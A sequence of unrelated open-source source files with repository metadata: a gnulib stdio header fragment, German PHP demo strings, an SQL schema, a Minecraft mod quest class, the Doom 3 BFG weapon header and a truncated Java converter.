#endif #if @GNULIB_VDPRINTF@ # if @REPLACE_VDPRINTF@ # define vdprintf rpl_vdprintf # endif # if @REPLACE_VDPRINTF@ || !@HAVE_VDPRINTF@ extern int vdprintf (int fd, const char *format, va_list args) __attribute__ ((__format__ (__printf__, 2, 0))); # endif #elif defined GNULIB_POSIXCHECK # undef vdprintf # define vdprintf(d,f,a) \ (GL_LINK_WARNING ("vdprintf is unportable - " \ "use gnulib module vdprintf for portability"), \ vdprintf (d, f, a)) #endif #if @GNULIB_VASPRINTF@ # if @REPLACE_VASPRINTF@ # define asprintf rpl_asprintf # define vasprintf rpl_vasprintf # endif # if @REPLACE_VASPRINTF@ || !@HAVE_VASPRINTF@ /* Write formatted output to a string dynamically allocated with malloc(). If the memory allocation succeeds, store the address of the string in *RESULT and return the number of resulting bytes, excluding the trailing NUL. Upon memory allocation error, or some other error, return -1. */ extern int asprintf (char **result, const char *format, ...) __attribute__ ((__format__ (__printf__, 2, 3))); extern int vasprintf (char **result, const char *format, va_list args) __attribute__ ((__format__ (__printf__, 2, 0))); # endif #endif #if @GNULIB_OBSTACK_PRINTF@ # if @REPLACE_OBSTACK_PRINTF@ # define obstack_printf rpl_osbtack_printf # define obstack_vprintf rpl_obstack_vprintf # endif # if @REPLACE_OBSTACK_PRINTF@ || !@HAVE_DECL_OBSTACK_PRINTF@ struct obstack; /* Grow an obstack with formatted output. Return the number of bytes added to OBS. No trailing nul byte is added, and the object should be closed with obstack_finish before use. Upon memory allocation error, call obstack_alloc_failed_handler. Upon other error, return -1. */ extern int obstack_printf (struct obstack *obs, const char *format, ...) __attribute__ ((__format__ (__printf__, 2, 3))); extern int obstack_vprintf (struct obstack *obs, const char *format, va_list args) __attribute__ ((__format__ (__printf__, 2, 0))); # endif #endif #if @GNULIB_FOPEN@ # if @REPLACE_FOPEN@ # undef fopen # define fopen rpl_fopen extern FILE * fopen (const char *filename, const char *mode); # endif #elif defined GNULIB_POSIXCHECK # undef fopen # define fopen(f,m) \ (GL_LINK_WARNING ("fopen on Win32 platforms is not POSIX compatible - " \ "use gnulib module fopen for portability"), \ fopen (f, m)) #endif #if @GNULIB_FREOPEN@ # if @REPLACE_FREOPEN@ # undef freopen # define freopen rpl_freopen extern FILE * freopen (const char *filename, const char *mode, FILE *stream); # endif #elif defined GNULIB_POSIXCHECK # undef freopen # define freopen(f,m,s) \ (GL_LINK_WARNING ("freopen on Win32 platforms is not POSIX compatible - " \ "use gnulib module freopen for portability"), \ freopen (f, m, s)) #endif #if @GNULIB_FSEEKO@ # if @REPLACE_FSEEKO@ /* Provide fseek, fseeko functions that are aware of a preceding fflush(), and which detect pipes. */ # define fseeko rpl_fseeko extern int fseeko (FILE *fp, off_t offset, int whence); # define fseek(fp, offset, whence) fseeko (fp, (off_t)(offset), whence) # endif #elif defined GNULIB_POSIXCHECK # undef fseeko # define fseeko(f,o,w) \ (GL_LINK_WARNING ("fseeko is unportable - " \ "use gnulib module fseeko for portability"), \ fseeko (f, o, w)) #endif #if @GNULIB_FSEEK@ && @REPLACE_FSEEK@ extern int rpl_fseek (FILE *fp, long offset, int whence); # undef fseek # if defined GNULIB_POSIXCHECK # define fseek(f,o,w) \ (GL_LINK_WARNING ("fseek cannot handle files larger than 4 GB " \ "on 32-bit platforms - " \ "use fseeko function for handling of large files"), \ rpl_fseek (f, o, w)) # else # define fseek rpl_fseek # endif #elif defined GNULIB_POSIXCHECK # ifndef fseek # define fseek(f,o,w) \ (GL_LINK_WARNING ("fseek cannot handle files larger than 4 GB " \ "on 32-bit platforms - " \ "use fseeko function for handling of large files"), \ fseek (f, o, w)) # endif #endif #if @GNULIB_FTELLO@ # if @REPLACE_FTELLO@ # define ftello rpl_ftello extern off_t ftello (FILE *fp); # define ftell(fp) ftello (fp) # endif #elif defined GNULIB_POSIXCHECK # undef ftello # define ftello(f) \ (GL_LINK_WARNING ("ftello is unportable - " \ "use gnulib module ftello for portability"), \ ftello (f)) #endif #if @GNULIB_FTELL@ && @REPLACE_FTELL@ extern long rpl_ftell (FILE *fp); # undef ftell # if GNULIB_POSIXCHECK # define ftell(f) \ (GL_LINK_WARNING ("ftell cannot handle files larger than 4 GB " \ "on 32-bit platforms - " \ "use ftello function for handling of large files"), \ rpl_ftell (f)) # else # define ftell rpl_ftell # endif #elif defined GNULIB_POSIXCHECK # ifndef ftell # define ftell(f) \ (GL_LINK_WARNING ("ftell cannot handle files larger than 4 GB " \ "on 32-bit platforms - " \ "use ftello function for handling of large files"), \ ftell (f)) # endif #endif #if @GNULIB_FFLUSH@ # if @REPLACE_FFLUSH@ # define fflush rpl_fflush /* Flush all pending data on STREAM according to POSIX rules. Both output and seekable input streams are supported. Note! LOSS OF DATA can occur if fflush is applied on an input stream that is _not_seekable_ or on an update stream that is _not_seekable_ and in which the most recent operation was input. Seekability can be tested with lseek(fileno(fp),0,SEEK_CUR). */ extern int fflush (FILE *gl_stream); # endif #elif defined GNULIB_POSIXCHECK # undef fflush # define fflush(f) \ (GL_LINK_WARNING ("fflush is not always POSIX compliant - " \ "use gnulib module fflush for portable " \ "POSIX compliance"), \ fflush (f)) #endif #if @GNULIB_FPURGE@ # if @REPLACE_FPURGE@ # define fpurge rpl_fpurge # endif # if @REPLACE_FPURGE@ || !@HAVE_DECL_FPURGE@ /* Discard all pending buffered I/O data on STREAM. STREAM must not be wide-character oriented. When discarding pending output, the file position is set back to where it was before the write calls. When discarding pending input, the file position is advanced to match the end of the previously read input. Return 0 if successful. Upon error, return -1 and set errno. */ extern int fpurge (FILE *gl_stream); # endif #elif defined GNULIB_POSIXCHECK # undef fpurge # define fpurge(f) \ (GL_LINK_WARNING ("fpurge is not always present - " \ "use gnulib module fpurge for portability"), \ fpurge (f)) #endif #if @GNULIB_FCLOSE@ # if @REPLACE_FCLOSE@ # define fclose rpl_fclose /* Close STREAM and its underlying file descriptor. */ extern int fclose (FILE *stream); # endif #elif defined GNULIB_POSIXCHECK # undef fclose # define fclose(f) \ (GL_LINK_WARNING ("fclose is not always POSIX compliant - " \ "use gnulib module fclose for portable " \ "POSIX compliance"), \ fclose (f)) #endif #if @GNULIB_FPUTC@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # undef fputc # define fputc rpl_fputc extern int fputc (int c, FILE *stream); #endif #if @GNULIB_PUTC@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # undef putc # define putc rpl_fputc extern int putc (int c, FILE *stream); #endif #if @GNULIB_PUTCHAR@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # undef putchar # define putchar rpl_putchar extern int putchar (int c); #endif #if @GNULIB_FPUTS@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # undef fputs # define fputs rpl_fputs extern int fputs (const char *string, FILE *stream); #endif #if @GNULIB_PUTS@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # undef puts # define puts rpl_puts extern int puts (const char *string); #endif #if @GNULIB_FWRITE@ && @REPLACE_STDIO_WRITE_FUNCS@ && @GNULIB_STDIO_H_SIGPIPE@ # undef fwrite # define fwrite rpl_fwrite extern size_t fwrite (const void *ptr, size_t s, size_t n, FILE *stream); #endif #if @GNULIB_GETDELIM@ # if !@HAVE_DECL_GETDELIM@ /* Read input, up to (and including) the next occurrence of DELIMITER, from STREAM, store it in *LINEPTR (and NUL-terminate it). *LINEPTR is a pointer returned from malloc (or NULL), pointing to *LINESIZE bytes of space. It is realloc'd as necessary. Return the number of bytes read and stored at *LINEPTR (not including the NUL terminator), or -1 on error or EOF. */ extern ssize_t getdelim (char **lineptr, size_t *linesize, int delimiter, FILE *stream); # endif #elif defined GNULIB_POSIXCHECK # undef getdelim # define getdelim(l, s, d, f) \ (GL_LINK_WARNING ("getdelim is unportable - " \ "use gnulib module getdelim for portability"), \ getdelim (l, s, d, f)) #endif #if @GNULIB_GETLINE@ # if @REPLACE_GETLINE@ # undef getline # define getline rpl_getline # endif # if !@HAVE_DECL_GETLINE@ || @REPLACE_GETLINE@ /* Read a line, up to (and including) the next newline, from STREAM, store it in *LINEPTR (and NUL-terminate it). *LINEPTR is a pointer returned from malloc (or NULL), pointing to *LINESIZE bytes of space. It is realloc'd as necessary. Return the number of bytes read and stored at *LINEPTR (not including the NUL terminator), or -1 on error or EOF. */ extern ssize_t getline (char **lineptr, size_t *linesize, FILE *stream); # endif #elif defined GNULIB_POSIXCHECK # undef getline # define getline(l, s, f) \ (GL_LINK_WARNING ("getline is unportable - " \ "use gnulib module getline for portability"), \ getline (l, s, f)) #endif #if @GNULIB_PERROR@ # if @REPLACE_PERROR@ # define perror rpl_perror /* Print a message to standard error, describing the value of ERRNO, (if STRING is not NULL and not empty) prefixed with STRING and ": ", and terminated with a newline. */ extern void perror (const char *string); # endif #elif defined GNULIB_POSIXCHECK # undef perror # define perror(s) \ (GL_LINK_WARNING ("perror is not always POSIX compliant - " \ "use gnulib module perror for portability"), \ perror (s)) #endif #ifdef __cplusplus } #endif #endif /* _GL_STDIO_H */ #endif /* _GL_STDIO_H */ #endif
Lampus/icoutils
lib/stdio.in.h
C
gpl-3.0
18,168
/* -------------------------------------------------------------------------------- This source file is part of Hydrax. Visit --- Copyright (C) 2008 Xavier Vergu�n Gonz�lez <xavierverguin@hotmail.com> <xavyiy@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA, or go to http://www.gnu.org/copyleft/lesser.txt. -------------------------------------------------------------------------------- */ #include "Prerequisites.h" namespace Hydrax { }
junrw/ember-gsoc2012
src/components/ogre/environment/hydrax/src/Prerequisites.cpp
C++
gpl-3.0
1,155
<?php return [ 'accounts' => [ 'cash' => 'Bargeld', ], 'categories' => [ 'deposit' => 'Einzahlung', 'sales' => 'Vertrieb', ], 'currencies' => [ 'usd' => 'US-Dollar', 'eur' => 'Euro', 'gbp' => 'Britisches Pfund', 'try' => 'Türkische Lira', ], 'offline_payments' => [ 'cash' => 'Bargeld', 'bank' => 'Banküberweisung', ], 'reports' => [ 'income' => 'Monatliche Zusammenfassung der Einnahmen nach Kategorie.', 'expense' => 'Monatliche Zusammenfassung der Ausgaben nach Kategorie.', 'income_expense' => 'Monatlicher Vergleich Einkommen vs Ausgaben nach Kategorie.', 'tax' => 'Vierteljährliche Steuerzusammenfassung.', 'profit_loss' => 'Quartalsweise Gewinn & Verlust nach Kategorie.', ], ];
akaunting/akaunting
resources/lang/de-DE/demo.php
PHP
gpl-3.0
1,009
CREATE TABLE users ( "id" text PRIMARY KEY, "username" text, "state" int DEFAULT 0, "gameId" text ); CREATE TABLE games ( "id" SERIAL PRIMARY KEY, "adminId" text ); CREATE TABLE rounds ( "id" int PRIMARY KEY );
BinaryTENSHi/spyfall-bot
doc/Database.sql
SQL
gpl-3.0
227
package net.torocraft.toroquest.civilization.quests; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.UUID; import net.minecraft.block.Block; import net.minecraft.enchantment.Enchantment; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.init.Blocks; import net.minecraft.init.Items; import net.minecraft.inventory.EntityEquipmentSlot; import net.minecraft.item.ItemStack; import net.minecraft.item.ItemTool; import net.minecraft.nbt.NBTTagString; import net.minecraft.util.text.TextComponentString; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.event.world.BlockEvent.HarvestDropsEvent; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import net.torocraft.toroquest.civilization.Province; import net.torocraft.toroquest.civilization.quests.util.QuestData; import net.torocraft.toroquest.civilization.quests.util.Quests; /** * provide a special pick or shovel */ public class QuestMine extends QuestBase { public static QuestMine INSTANCE; private static final Block[] BLOCK_TYPES = { Blocks.GRAVEL, Blocks.STONE, Blocks.COAL_ORE, Blocks.IRON_ORE, Blocks.OBSIDIAN, Blocks.REDSTONE_ORE }; public static int ID; public static void init(int id) { INSTANCE = new QuestMine(); Quests.registerQuest(id, INSTANCE); MinecraftForge.EVENT_BUS.register(INSTANCE); ID = id; } @SubscribeEvent public void onMine(HarvestDropsEvent event) { if (event.getHarvester() == null) { return; } EntityPlayer player = event.getHarvester(); Province inProvince = loadProvince(event.getHarvester().world, event.getPos()); if (inProvince == null || inProvince.civilization == null) { return; } ItemStack tool = player.getItemStackFromSlot(EntityEquipmentSlot.MAINHAND); if (!tool.hasTagCompound()) { return; } String questId = tool.getTagCompound().getString("mine_quest"); String provinceId = tool.getTagCompound().getString("province"); if (questId == null || provinceId == null || !provinceId.equals(inProvince.id.toString())) { return; } QuestData data = getQuestById(player, questId); if (data == null) { return; } if (notCurrentDepth(event, data)) { return; } if (event.getState().getBlock() != BLOCK_TYPES[getBlockType(data)]) { return; } event.setDropChance(1f); for (ItemStack drop : event.getDrops()) { drop.setTagInfo("mine_quest", new NBTTagString(questId)); drop.setTagInfo("province", new NBTTagString(provinceId)); drop.setStackDisplayName(drop.getDisplayName() + " for " + inProvince.name); } } protected boolean notCurrentDepth(HarvestDropsEvent event, QuestData data) { int max = getMaxDepth(data); int min = getMinDepth(data); int y = event.getPos().getY(); if (min > 0 && y < min) { return true; } if (max > 0 && y > max) { return true; } return false; } @Override public List<ItemStack> complete(QuestData data, List<ItemStack> in) { if (in == null) { return null; } List<ItemStack> givenItems = copyItems(in); int requiredLeft = getTargetAmount(data); boolean toolIncluded = false; for (ItemStack item : givenItems) { if (isForThisQuest(data, item)) { if (item.getItem() instanceof ItemTool) { toolIncluded = true; item.setCount(0); } else { requiredLeft -= item.getCount(); item.setCount(0); } } else { } } if (requiredLeft > 0) { data.getPlayer().sendMessage(new TextComponentString("You are " + requiredLeft + " short")); return null; } if (!toolIncluded) { data.getPlayer().sendMessage(new TextComponentString("You must turn in the tool that you were given")); return null; } givenItems = removeEmptyItemStacks(givenItems); addRewardItems(data, givenItems); return givenItems; } protected boolean isForThisQuest(QuestData data, ItemStack item) { if (!item.hasTagCompound() || item.isEmpty()) { return false; } String wasMinedForQuestId = item.getTagCompound().getString("mine_quest"); return data.getQuestId().toString().equals(wasMinedForQuestId); } @Override public List<ItemStack> reject(QuestData data, List<ItemStack> in) { if (in == null) { return null; } List<ItemStack> givenItems = copyItems(in); boolean toolIncluded = false; int emeraldRemainingCount = 5; for (ItemStack item : givenItems) { if (isForThisQuest(data, item)) { if (item.getItem() instanceof ItemTool) { toolIncluded = true; item.setCount(0); } } } if (!toolIncluded) { for (ItemStack item : givenItems) { if (!item.isEmpty() && item.getItem() == Items.EMERALD) { int decBy = Math.min(item.getCount(), emeraldRemainingCount); emeraldRemainingCount -= decBy; item.shrink(decBy); } } } if (!toolIncluded && emeraldRemainingCount > 0) { data.getPlayer().sendMessage(new TextComponentString("Return the tool that was provided or 5 emeralds to pay for it")); return null; } return removeEmptyItemStacks(givenItems); } @Override public List<ItemStack> accept(QuestData data, List<ItemStack> in) { Block type = BLOCK_TYPES[getBlockType(data)]; Province province = getQuestProvince(data); ItemStack tool; if (type == Blocks.GRAVEL) { tool = new ItemStack(Items.DIAMOND_SHOVEL); } else { tool = new ItemStack(Items.DIAMOND_PICKAXE); } tool.setStackDisplayName(tool.getDisplayName() + " of " + province.name); tool.addEnchantment(Enchantment.getEnchantmentByID(33), 1); tool.setTagInfo("mine_quest", new NBTTagString(data.getQuestId().toString())); tool.setTagInfo("province", new NBTTagString(province.id.toString())); in.add(tool); return in; } @Override public String getTitle(QuestData data) { return "quests.mine.title"; } @Override public String getDescription(QuestData data) { if (data == null) { return ""; } StringBuilder s = new StringBuilder(); s.append("quests.mine.description"); s.append("|").append(getTargetAmount(data)); s.append("|").append(BLOCK_TYPES[getBlockType(data)].getLocalizedName()); s.append("|").append(listItems(getRewardItems(data))); s.append("|").append(getRewardRep(data)); return s.toString(); } @Override public QuestData generateQuestFor(EntityPlayer player, Province questProvince) { Random rand = player.world.rand; QuestData data = new QuestData(); data.setCiv(questProvince.civilization); data.setPlayer(player); data.setProvinceId(questProvince.id); data.setQuestId(UUID.randomUUID()); data.setQuestType(ID); data.setCompleted(false); setMaxDepth(data, 30); setMinDepth(data, 0); int roll = rand.nextInt(20); setTargetAmount(data, 10 + roll); setBlockType(data, rand.nextInt(BLOCK_TYPES.length)); setRewardRep(data, 5 + (roll / 5)); List<ItemStack> rewards = new ArrayList<ItemStack>(1); ItemStack emeralds = new ItemStack(Items.EMERALD, 4 + (roll / 10)); rewards.add(emeralds); setRewardItems(data, rewards); return data; } private int getBlockType(QuestData data) { return coalesce(data.getiData().get("block_type"), 0); } private int coalesce(Integer integer, int i) { if (integer == null) { return i; } return integer; } private void setBlockType(QuestData data, int blockType) { data.getiData().put("block_type", blockType); /* * for (int i = 0; i < BLOCK_TYPES.length; i++) { if (BLOCK_TYPES[i] == * block) { data.getiData().put("block_type", i); } } throw new * IllegalArgumentException(block.getUnlocalizedName()); */ } private int getMaxDepth(QuestData data) { return coalesce(data.getiData().get("max_depth"), 0); } private void setMaxDepth(QuestData data, int depth) { data.getiData().put("max_depth", depth); } private int getMinDepth(QuestData data) { return coalesce(data.getiData().get("min_depth"), 0); } private void setMinDepth(QuestData data, int depth) { data.getiData().put("min_depth", depth); } private int getTargetAmount(QuestData data) { return data.getiData().get("target_amount"); } private void setTargetAmount(QuestData data, int amount) { data.getiData().put("target_amount", amount); } }
ToroCraft/ToroQuest
src/main/java/net/torocraft/toroquest/civilization/quests/QuestMine.java
Java
gpl-3.0
8,175
/* =========================================================================== Doom 3 BFG Edition GPL Source Code Copyright (C) 1993-2012 id Software LLC, a ZeniMax Media company. This file is part of the Doom 3 BFG Edition GPL Source Code ("Doom 3 BFG Edition Source Code"). Doom 3 BFG Edition Source Code is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Doom 3 BFG Edition Source Code is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Doom 3 BFG Edition Source Code. If not, see <http://www.gnu.org/licenses/>. In addition, the Doom 3 BFG Edition Source Code is also subject to certain additional terms. You should have received a copy of these additional terms immediately following the terms and conditions of the GNU General Public License which accompanied the Doom 3 BFG Edition Source Code. If not, please request a copy in writing from id Software at the address below. If you have questions concerning this license or the applicable additional terms, you may contact in writing id Software LLC, c/o ZeniMax Media Inc., Suite 120, Rockville, Maryland 20850 USA. =========================================================================== */ #ifndef __GAME_WEAPON_H__ #define __GAME_WEAPON_H__ #include "PredictedValue.h" /* =============================================================================== Player Weapon =============================================================================== */ extern const idEventDef EV_Weapon_State; typedef enum { WP_READY, WP_OUTOFAMMO, WP_RELOAD, WP_HOLSTERED, WP_RISING, WP_LOWERING } weaponStatus_t; typedef int ammo_t; static const int AMMO_NUMTYPES = 16; class idPlayer; static const int LIGHTID_WORLD_MUZZLE_FLASH = 1; static const int LIGHTID_VIEW_MUZZLE_FLASH = 100; class idMoveableItem; typedef struct { char name[64]; char particlename[128]; bool active; int startTime; jointHandle_t joint; //The joint on which to attach the particle bool smoke; //Is this a smoke particle const idDeclParticle* particle; //Used for smoke particles idFuncEmitter* emitter; //Used for non-smoke particles } WeaponParticle_t; typedef struct { char name[64]; bool active; int startTime; jointHandle_t joint; int lightHandle; renderLight_t light; } WeaponLight_t; class idWeapon : public idAnimatedEntity { public: CLASS_PROTOTYPE( idWeapon ); idWeapon(); virtual ~idWeapon(); // Init void Spawn(); void SetOwner( idPlayer* owner ); idPlayer* GetOwner(); virtual bool ShouldConstructScriptObjectAtSpawn() const; void SetFlashlightOwner( idPlayer* owner ); static void CacheWeapon( const char* weaponName ); // save games void Save( idSaveGame* savefile ) const; // archives object for save game file void Restore( idRestoreGame* savefile ); // unarchives object from save game file // Weapon definition management void Clear(); void GetWeaponDef( const char* objectname, int ammoinclip ); bool IsLinked(); bool IsWorldModelReady(); // GUIs const char* Icon() const; void UpdateGUI(); const char* PdaIcon() const; const char* DisplayName() const; const char* Description() const; virtual void SetModel( const char* modelname ); bool GetGlobalJointTransform( bool viewModel, const jointHandle_t jointHandle, idVec3& offset, idMat3& axis ); void SetPushVelocity( const idVec3& pushVelocity ); bool UpdateSkin(); // State control/player interface void Think(); void Raise(); void PutAway(); void Reload(); void LowerWeapon(); void RaiseWeapon(); void HideWeapon(); void ShowWeapon(); void HideWorldModel(); void ShowWorldModel(); void OwnerDied(); void BeginAttack(); void EndAttack(); bool IsReady() const; bool IsReloading() const; bool IsHolstered() const; bool ShowCrosshair() const; idEntity* DropItem( const idVec3& velocity, int activateDelay, int removeDelay, bool died ); bool CanDrop() const; void WeaponStolen(); void ForceAmmoInClip(); weaponStatus_t GetStatus() { return status; }; // Script state management virtual idThread* ConstructScriptObject(); virtual void DeconstructScriptObject(); void SetState( const char* statename, int blendFrames ); void UpdateScript(); void EnterCinematic(); void ExitCinematic(); void NetCatchup(); // Visual presentation void PresentWeapon( bool showViewModel ); int GetZoomFov(); void GetWeaponAngleOffsets( int* average, float* scale, float* max ); void GetWeaponTimeOffsets( float* time, float* scale ); bool BloodSplat( float size ); void SetIsPlayerFlashlight( bool bl ) { isPlayerFlashlight = bl; } void FlashlightOn(); void FlashlightOff(); // Ammo static ammo_t GetAmmoNumForName( const char* ammoname ); static const char* GetAmmoNameForNum( ammo_t ammonum ); static const char* GetAmmoPickupNameForNum( ammo_t ammonum ); ammo_t GetAmmoType() const; int AmmoAvailable() const; int AmmoInClip() const; void ResetAmmoClip(); int ClipSize() const; int LowAmmo() const; int AmmoRequired() const; int AmmoCount() const; int GetGrabberState() const; // Flashlight idAnimatedEntity* GetWorldModel() { return worldModel.GetEntity(); } virtual void WriteToSnapshot( idBitMsg& msg ) const; virtual void ReadFromSnapshot( const idBitMsg& msg ); enum { EVENT_RELOAD = idEntity::EVENT_MAXEVENTS, EVENT_ENDRELOAD, EVENT_CHANGESKIN, EVENT_MAXEVENTS }; virtual bool ClientReceiveEvent( int event, int time, const idBitMsg& msg ); virtual void ClientPredictionThink(); virtual void ClientThink( const int curTime, const float fraction, const bool predict ); void MuzzleFlashLight(); void RemoveMuzzleFlashlight(); // Get a global origin and axis suitable for the laser sight or bullet tracing // Returns false for hands, grenades, and chainsaw. // Can't be const because a frame may need to be created. bool GetMuzzlePositionWithHacks( idVec3& origin, idMat3& axis ); void GetProjectileLaunchOriginAndAxis( idVec3& origin, idMat3& axis ); const idDeclEntityDef* GetDeclEntityDef() { return weaponDef; } friend class idPlayer; bool lightOn; //GK:Keep it public for use on PDA private: // script control idScriptBool WEAPON_ATTACK; idScriptBool WEAPON_RELOAD; idScriptBool WEAPON_NETRELOAD; idScriptBool WEAPON_NETENDRELOAD; idScriptBool WEAPON_NETFIRING; idScriptBool WEAPON_RAISEWEAPON; idScriptBool WEAPON_LOWERWEAPON; weaponStatus_t status; idThread* thread; idStr state; idStr idealState; int animBlendFrames; int animDoneTime; bool isLinked; bool isPlayerFlashlight; // precreated projectile idEntity* projectileEnt; idPlayer* owner; idEntityPtr<idAnimatedEntity> worldModel; // hiding (for GUIs and NPCs) int hideTime; float hideDistance; int hideStartTime; float hideStart; float hideEnd; float hideOffset; bool hide; bool disabled; // berserk int berserk; // these are the player render view parms, which include bobbing idVec3 playerViewOrigin; idMat3 playerViewAxis; // the view weapon render entity parms idVec3 viewWeaponOrigin; idMat3 viewWeaponAxis; // the muzzle bone's position, used for launching projectiles and trailing smoke idVec3 muzzleOrigin; idMat3 muzzleAxis; idVec3 pushVelocity; // weapon definition // we maintain local copies of the projectile and brass dictionaries so they // do not have to be copied across the DLL boundary when entities are spawned const idDeclEntityDef* weaponDef; const idDeclEntityDef* meleeDef; idDict projectileDict; float meleeDistance; idStr meleeDefName; idDict brassDict; int brassDelay; idStr icon; idStr pdaIcon; idStr displayName; idStr itemDesc; // view weapon gui light renderLight_t guiLight; int guiLightHandle; // muzzle flash renderLight_t muzzleFlash; // positioned on view weapon bone int muzzleFlashHandle; renderLight_t worldMuzzleFlash; // positioned on world weapon bone int worldMuzzleFlashHandle; float fraccos; float fraccos2; idVec3 flashColor; int muzzleFlashEnd; int flashTime; bool silent_fire; bool allowDrop; // effects bool hasBloodSplat; // weapon kick int kick_endtime; int muzzle_kick_time; int muzzle_kick_maxtime; idAngles muzzle_kick_angles; idVec3 muzzle_kick_offset; // ammo management ammo_t ammoType; int ammoRequired; // amount of ammo to use each shot. 0 means weapon doesn't need ammo. int clipSize; // 0 means no reload idPredictedValue< int > ammoClip; int lowAmmo; // if ammo in clip hits this threshold, snd_ bool powerAmmo; // true if the clip reduction is a factor of the power setting when // a projectile is launched // mp client bool isFiring; // zoom int zoomFov; // variable zoom fov per weapon // joints from models jointHandle_t barrelJointView; jointHandle_t flashJointView; jointHandle_t ejectJointView; jointHandle_t guiLightJointView; jointHandle_t ventLightJointView; jointHandle_t flashJointWorld; jointHandle_t barrelJointWorld; jointHandle_t ejectJointWorld; jointHandle_t smokeJointView; idHashTable<WeaponParticle_t> weaponParticles; idHashTable<WeaponLight_t> weaponLights; // sound const idSoundShader* sndHum; // new style muzzle smokes const idDeclParticle* weaponSmoke; // null if it doesn't smoke int weaponSmokeStartTime; // set to gameLocal.time every weapon fire bool continuousSmoke; // if smoke is continuous ( chainsaw ) const idDeclParticle* strikeSmoke; // striking something in melee int strikeSmokeStartTime; // timing idVec3 strikePos; // position of last melee strike idMat3 strikeAxis; // axis of last melee strike int nextStrikeFx; // used for sound and decal ( may use for strike smoke too ) // nozzle effects bool nozzleFx; // does this use nozzle effects ( parm5 at rest, parm6 firing ) // this also assumes a nozzle light atm int nozzleFxFade; // time it takes to fade between the effects int lastAttack; // last time an attack occured renderLight_t nozzleGlow; // nozzle light int nozzleGlowHandle; // handle for nozzle light idVec3 nozzleGlowColor; // color of the nozzle glow const idMaterial* nozzleGlowShader; // shader for glow light float nozzleGlowRadius; // radius of glow light // weighting for viewmodel angles int weaponAngleOffsetAverages; float weaponAngleOffsetScale; float weaponAngleOffsetMax; float weaponOffsetTime; float weaponOffsetScale; // flashlight void AlertMonsters(); // Visual presentation void InitWorldModel( const idDeclEntityDef* def ); void MuzzleRise( idVec3& origin, idMat3& axis ); void UpdateNozzleFx(); void UpdateFlashPosition(); // script events void Event_Clear(); void Event_GetOwner(); void Event_WeaponState( const char* statename, int blendFrames ); void Event_SetWeaponStatus( float newStatus ); void Event_WeaponReady(); void Event_WeaponOutOfAmmo(); void Event_WeaponReloading(); void Event_WeaponHolstered(); void Event_WeaponRising(); void Event_WeaponLowering(); void Event_UseAmmo( int amount ); void Event_AddToClip( int amount ); void Event_AmmoInClip(); void Event_AmmoAvailable(); void Event_TotalAmmoCount(); void Event_ClipSize(); void Event_PlayAnim( int channel, const char* animname ); void Event_PlayCycle( int channel, const char* animname ); void Event_AnimDone( int channel, int blendFrames ); void Event_SetBlendFrames( int channel, int blendFrames ); void Event_GetBlendFrames( int channel ); void Event_Next(); void Event_SetSkin( const char* skinname ); void Event_Flashlight( int enable ); void Event_GetLightParm( int parmnum ); void Event_SetLightParm( int parmnum, float value ); void Event_SetLightParms( float parm0, float parm1, float parm2, float parm3 ); void Event_LaunchProjectiles( int num_projectiles, float spread, float fuseOffset, float launchPower, float dmgPower ); void Event_CreateProjectile(); void Event_EjectBrass(); void Event_Melee(); void Event_GetWorldModel(); void Event_AllowDrop( int allow ); void Event_AutoReload(); void Event_NetReload(); void Event_IsInvisible(); void Event_NetEndReload(); idGrabber grabber; int grabberState; void Event_Grabber( int enable ); void Event_GrabberHasTarget(); void Event_GrabberSetGrabDistance( float dist ); void Event_LaunchProjectilesEllipse( int num_projectiles, float spreada, float spreadb, float fuseOffset, float power ); void Event_LaunchPowerup( const char* powerup, float duration, int useAmmo ); void Event_StartWeaponSmoke(); void Event_StopWeaponSmoke(); void Event_StartWeaponParticle( const char* name ); void Event_StopWeaponParticle( const char* name ); void Event_StartWeaponLight( const char* name ); void Event_StopWeaponLight( const char* name ); }; ID_INLINE bool idWeapon::IsLinked() { return isLinked; } ID_INLINE bool idWeapon::IsWorldModelReady() { return ( worldModel.GetEntity() != NULL ); } ID_INLINE idPlayer* idWeapon::GetOwner() { return owner; } #endif /* !__GAME_WEAPON_H__ */
MadDeCoDeR/Classic-RBDOOM-3-BFG
neo/d3xp/Weapon.h
C
gpl-3.0
14,232
package tr.com.arf.toys.view.converter.egitim; import javax.faces.component.UIComponent; import javax.faces.context.FacesContext; import javax.faces.convert.FacesConverter; import tr.com.arf.framework.view.converter._base.BaseConverter; import tr.com.arf.toys.db.model.egitim.SinavGozetmen; import tr.com.arf.toys.service.application.ManagedBeanLocator; @FacesConverter(forClass=SinavGozetmen.class, value="sinavGozetmenConverter") public class SinavGozetmenConverter extends BaseConverter{ public SinavGozetmenConverter() { super(); } @Override public Object getAsObject(FacesContext facesContext, UIComponent uIComponent, String value) { if (value == null || value.trim().equalsIgnoreCase("")) { return null; } // DBOperator dbOperator = new DBOperator(); return ManagedBeanLocator.locateSessionController().getDBOperator().find("SinavGozetmen", "rID", value).get(0); } @Override public String getAsString(FacesContext facesContext, UIComponent uIComponent, Object value) { if (value == null || value.getClass() == java.lang.String.class) { return null; } if (value instanceof SinavGozetmen) { SinavGozetmen 